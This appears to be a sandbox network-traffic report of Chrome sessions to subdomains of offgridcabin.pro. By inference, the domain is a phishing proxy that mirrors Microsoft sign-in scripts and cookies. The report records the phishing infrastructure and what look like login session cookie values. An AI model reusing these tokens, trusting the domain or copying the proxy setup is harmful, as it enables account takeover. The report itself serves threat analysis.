2025-01-13 20:53:06 UTC	40	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 31 20 4a 61 6e 20 32 30 33 35 20 32 30 3a 35 33 3a 30 36 20 47 4d 54 0d 0a Data Ascii: Expires: Thu, 11 Jan 2035 20:53:06 GMT
2025-01-13 20:53:06 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-13 20:53:06 UTC	43	IN	Data Raw: 50 70 73 65 72 76 65 72 3a 20 50 50 56 3a 20 33 30 20 48 3a 20 50 48 31 50 45 50 46 30 30 30 31 31 45 43 34 20 56 3a 20 30 0d 0a Data Ascii: Ppserver: PPV: 30 H: PH1PEPF00011EC4 V: 0
2025-01-13 20:53:06 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-13 20:53:06 UTC	143	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 75 61 69 64 3d 37 34 63 64 33 64 64 66 38 61 30 62 34 66 30 35 38 62 33 33 38 64 65 63 62 35 61 62 39 61 61 37 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 68 39 64 70 6f 30 70 36 6a 6f 73 6e 32 34 6b 31 7a 62 35 35 65 75 6c 34 30 2e 6f 66 66 67 72 69 64 63 61 62 69 6e 2e 70 72 6f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: uaid=74cd3ddf8a0b4f058b338decb5ab9aa7; Path=/; Domain=h9dpo0p6josn24k1zb55eul40.offgridcabin.pro; HttpOnly; Secure; SameSite=None
2025-01-13 20:53:06 UTC	137	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4d 53 50 52 65 71 75 3d 69 64 3d 4e 26 6c 74 3d 31 37 33 36 38 30 31 35 38 36 26 63 6f 3d 31 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 68 39 64 70 6f 30 70 36 6a 6f 73 6e 32 34 6b 31 7a 62 35 35 65 75 6c 34 30 2e 6f 66 66 67 72 69 64 63 61 62 69 6e 2e 70 72 6f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: MSPRequ=id=N&lt=1736801586&co=1; Path=/; Domain=h9dpo0p6josn24k1zb55eul40.offgridcabin.pro; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49898	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:06 UTC	519	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:07 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:07 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:07 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:07 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:07 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:07 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:07 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:07 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 36 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:06 GMT
2025-01-13 20:53:07 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 41 46 34 41 44 41 31 44 34 45 42 0d 0a Data Ascii: Etag: 0x8DD1AF4ADA1D4EB
2025-01-13 20:53:07 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 31 32 20 44 65 63 20 32 30 32 34 20 32 31 3a 33 33 3a 35 34 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 12 Dec 2024 21:33:54 GMT
2025-01-13 20:53:07 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49897	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:06 UTC	1720	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999 HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66 [TRUNCATED]
2025-01-13 20:53:36 UTC	30	IN	HTTP/1.1 408 Request Timeout
2025-01-13 20:53:36 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:37 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:37 UTC	32	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 0d 0a Data Ascii: Content-Type: application/json
2025-01-13 20:53:37 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:53:37 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:37 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:53:37 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49896	152.199.21.175	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:06 UTC	671	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:53:07 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2694516 Cache-Control: public, max-age=31536000 Content-MD5: nNppmoTKhyn68ZS47932wA== Content-Type: application/x-javascript Date: Mon, 13 Jan 2025 20:53:07 GMT Etag: 0x8DD1AF4C17492F5 Last-Modified: Thu, 12 Dec 2024 21:34:27 GMT Server: ECAcc (lhc/7941) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1588139e-301e-00ea-0d7b-4ded02000000 x-ms-version: 2009-09-19 Content-Length: 454821 Connection: close
2025-01-13 20:53:07 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2025-01-13 20:53:07 UTC	16383	IN	Data Raw: 44 49 4e 47 5f 4e 4f 54 5f 41 4c 4c 4f 57 45 44 3a 22 38 30 30 34 37 38 44 37 22 2c 50 50 5f 45 5f 49 44 50 5f 42 49 4e 44 49 4e 47 5f 45 58 49 53 54 53 5f 53 41 4d 53 55 4e 47 3a 22 38 30 30 34 34 35 33 45 22 2c 50 50 5f 45 5f 54 52 41 4e 53 46 45 52 5f 54 4f 4b 45 4e 5f 49 4e 56 41 4c 49 44 5f 53 45 53 53 49 4f 4e 3a 22 38 30 30 34 33 35 41 30 22 7d 2c 6e 2e 45 73 74 73 45 72 72 6f 72 3d 7b 55 73 65 72 41 63 63 6f 75 6e 74 53 65 6c 65 63 74 69 6f 6e 49 6e 76 61 6c 69 64 3a 22 31 36 30 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 22 35 30 30 32 30 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 41 70 69 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3a 22 35 30 30 32 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a Data Ascii: DING_NOT_ALLOWED:"800478D7",PP_E_IDP_BINDING_EXISTS_SAMSUNG:"8004453E",PP_E_TRANSFER_TOKEN_INVALID_SESSION:"800435A0"},n.EstsError={UserAccountSelectionInvalid:"16001",UserUnauthorized:"50020",UserUnauthorizedApiVersionNotSupported:"500201",UserUnauthoriz
2025-01-13 20:53:07 UTC	2	IN	Data Raw: 72 6e Data Ascii: rn
2025-01-13 20:53:07 UTC	16383	IN	Data Raw: 22 77 68 69 74 65 22 3b 69 66 28 50 29 72 65 74 75 72 6e 20 54 2e 67 65 74 49 73 48 69 67 68 43 6f 6e 74 72 61 73 74 55 73 69 6e 67 43 73 73 4d 65 64 69 61 51 75 65 72 79 28 29 2e 74 68 65 6d 65 7d 7d 7d 2c 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 26 26 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 3f 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a 7b 70 Data Ascii: "white";if(P)return T.getIsHighContrastUsingCssMediaQuery().theme}}},getComputedStyle:function(e){return document.defaultView&&document.defaultView.getComputedStyle?document.defaultView.getComputedStyle(e,null):e.currentStyle?e.currentStyle:{}},history:{p
2025-01-13 20:53:07 UTC	16383	IN	Data Raw: 6c 2c 65 2e 74 72 61 63 65 55 72 6c 26 26 28 6e 3f 6e 2e 75 72 6c 3d 74 3a 6e 3d 74 29 29 3a 6e 3d 6e 75 6c 6c 2c 69 26 26 69 2e 65 76 65 6e 74 49 64 26 26 73 2e 6c 6f 67 45 76 65 6e 74 28 7b 65 76 65 6e 74 54 79 70 65 3a 22 6f 6e 52 65 64 69 72 65 63 74 22 2c 65 76 65 6e 74 49 64 3a 69 2e 65 76 65 6e 74 49 64 2c 65 76 65 6e 74 4c 65 76 65 6c 3a 69 2e 65 76 65 6e 74 4c 65 76 65 6c 2c 65 76 65 6e 74 41 72 67 73 3a 6e 2c 65 76 65 6e 74 4f 70 74 69 6f 6e 73 3a 69 7d 29 2c 74 7d 2c 73 2e 67 65 74 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 22 29 7c 7c Data Ascii: l,e.traceUrl&&(n?n.url=t:n=t)):n=null,i&&i.eventId&&s.logEvent({eventType:"onRedirect",eventId:i.eventId,eventLevel:i.eventLevel,eventArgs:n,eventOptions:i}),t},s.getPropertyLogOption=function(e,n){return(n=n\|\|{}).hasOwnProperty("tracingPropertyChange")\|\|
2025-01-13 20:53:07 UTC	16383	IN	Data Raw: 6d 61 69 6c 3a 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 41 6c 74 45 6d 61 69 6c 3a 74 3d 6e 3f 6c 2e 45 6d 61 69 6c 41 64 64 72 65 73 73 45 6e 63 72 79 70 74 65 64 3a 6c 2e 45 6d 61 69 6c 41 64 64 72 65 73 73 3b 62 72 65 61 6b 3b 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 56 32 3a 74 3d 6c 2e 53 65 73 73 69 6f 6e 41 70 70 72 6f 76 65 72 7d 72 65 74 75 72 6e 20 74 7d 3b 6e 2e 50 72 6f 6f 66 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 75 73 65 72 6e 61 6d 65 7c 7c 22 22 2c 74 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 7c 7c 22 22 2c 69 3d 65 2e 70 75 72 70 6f 73 65 7c 7c 63 2e 50 61 73 73 77 6f 72 64 2c 61 3d 65 2e 70 72 6f 6f 66 54 79 70 65 2c 6f 3d 65 2e 70 72 6f 6f 66 44 61 74 61 Data Ascii: mail:case PROOF.Type.AltEmail:t=n?l.EmailAddressEncrypted:l.EmailAddress;break;case PROOF.Type.TOTPAuthenticatorV2:t=l.SessionApprover}return t};n.Proof=function(e){var n=e.username\|\|"",t=e.flowToken\|\|"",i=e.purpose\|\|c.Password,a=e.proofType,o=e.proofData
2025-01-13 20:53:07 UTC	16383	IN	Data Raw: 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 66 3d 7a 65 28 65 2c 21 30 2c 6e 29 3b 66 2e 6c 65 6e 67 74 68 3e 30 26 26 28 63 2e 41 72 72 61 79 2e 66 6f 72 45 61 63 68 28 66 2c 51 65 29 2c 70 3d 70 2e 63 6f 6e 63 61 74 28 66 29 29 7d 72 65 74 75 72 6e 20 70 7d 66 75 6e 63 74 69 6f 6e 20 65 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 3b 69 66 28 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 69 3d 7a 65 28 65 2c 21 31 2c 6e 29 3b 69 2e 6c 65 6e 67 Data Ascii: e[PROOF.Type.Email]&&Se[PROOF.Type.SMS]&&Se[PROOF.Type.Voice]){var f=ze(e,!0,n);f.length>0&&(c.Array.forEach(f,Qe),p=p.concat(f))}return p}function en(e,n){var t=[];if(Se[PROOF.Type.Email]&&Se[PROOF.Type.SMS]&&Se[PROOF.Type.Voice]){var i=ze(e,!1,n);i.leng
2025-01-13 20:53:07 UTC	16383	IN	Data Raw: 6e 67 2c 67 3d 72 2e 50 61 67 69 6e 61 74 65 64 53 74 61 74 65 2c 6d 3d 72 2e 43 72 65 64 65 6e 74 69 61 6c 54 79 70 65 2c 62 3d 72 2e 44 69 61 6c 6f 67 49 64 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 74 3d 65 2e 73 65 72 76 65 72 44 61 74 61 2c 61 3d 65 2e 75 73 65 72 6e 61 6d 65 2c 72 3d 65 2e 61 76 61 69 6c 61 62 6c 65 43 72 65 64 73 7c 7c 5b 5d 2c 75 3d 65 2e 63 75 72 72 65 6e 74 43 72 65 64 7c 7c 7b 7d 2c 70 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 2c 76 3d 65 2e 73 68 6f 77 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 68 3d 65 2e 68 69 64 65 43 72 65 64 53 77 69 74 63 68 4c 69 6e 6b 2c 5f 3d 65 2e 61 72 69 61 44 65 73 63 72 69 62 65 64 42 79 2c 43 3d 65 2e 73 65 74 46 6f 63 75 73 2c 53 3d 74 2e 73 74 72 2c 78 3d 74 2e Data Ascii: ng,g=r.PaginatedState,m=r.CredentialType,b=r.DialogId;function v(e){var n=this,t=e.serverData,a=e.username,r=e.availableCreds\|\|[],u=e.currentCred\|\|{},p=e.flowToken,v=e.showForgotUsername,h=e.hideCredSwitchLink,_=e.ariaDescribedBy,C=e.setFocus,S=t.str,x=t.
2025-01-13 20:53:07 UTC	5	IN	Data Raw: 61 74 69 6f 6e Data Ascii: ation
2025-01-13 20:53:07 UTC	16383	IN	Data Raw: 7d 2c 6f 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 28 76 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 28 6e 65 77 20 6c 2e 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 28 65 2c 6f 2e 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 56 69 65 77 49 64 2c 76 29 29 7d 29 2c 61 2e 44 65 66 61 75 6c 74 52 65 71 75 65 73 74 54 69 6d 65 6f 75 74 29 7d 29 29 7d 7d 6c 2e 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 68 69 73 2e 6e 61 6d 65 3d 22 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 22 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 22 43 61 6e 61 72 79 20 76 61 6c 69 64 61 74 69 6f 6e 20 66 61 69 6c 65 64 2c 20 75 73 65 72 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e Data Ascii: },o,(function(){e(v)}),(function(e){n(new l.CanaryValidationError(e,o.ConfirmationViewId,v))}),a.DefaultRequestTimeout)}))}}l.CanaryValidationError=function(e,n,t){this.name="CanaryValidationError",this.message="Canary validation failed, user confirmation

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49862	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:07 UTC	702	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:08 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:08 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:08 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:08 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:08 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:08 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:08 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
